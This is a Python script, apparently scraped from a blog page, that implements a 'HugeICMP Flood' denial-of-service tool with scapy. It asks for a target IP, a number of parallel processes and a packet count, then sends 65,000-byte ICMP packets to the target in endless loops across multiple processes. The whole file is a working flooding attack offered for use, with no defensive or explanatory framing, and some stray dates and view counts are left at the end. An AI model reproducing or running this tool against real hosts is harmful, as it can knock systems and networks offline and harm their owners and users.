#!/usr/bin/python
# Zhoushukang
# zhoushukang@zju.edu.cn
# HugeICMP Flood Tool Python
from multiprocessing import Process
from scapy.all import *
import os
import sys
import random
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def randInt():
x = random.randint(1000, 9000)
return x
def HugeICMP_Flood(dstIP, counter):
total = 0
print("Packets are sending ...")
for x in range(0, counter):
IP_Packet = IP(dst=dstIP)
large_data = b'A' * 65000 # 65000字节的数据,可以根据需要调整大小
ICMP_Packet = ICMP() / Raw(load=large_data)
# 合并IP和ICMP数据包
packet = IP_Packet / ICMP_Packet
send(packet, verbose=0)
total += 1
sys.stdout.write("\nTotal packets sent: %i\n" % total)
def info():
os.system("clear")
print("#############################")
print("# github.com/Zhoushukang #")
print("#############################")
print("# Welcome to Huge ICMP Tool #")
print("#############################")
dstIP = input("\nTarget IP : ")
return dstIP
def attack(dstIP, counter):
while True:
HugeICMP_Flood(dstIP, int(counter))
if __name__ == '__main__':
num = input("并行数:")
counter = input("你需要发送多少包 : ")
list = []
dstIP = info()
for i in range(int(num)):
p = Process(target=attack, args=(dstIP, counter))
list.append(p)
for i in list:
i.start()
for i in list:
i.join()
04-29
1798
05-09
2321
11-29
2万+
10-16
1682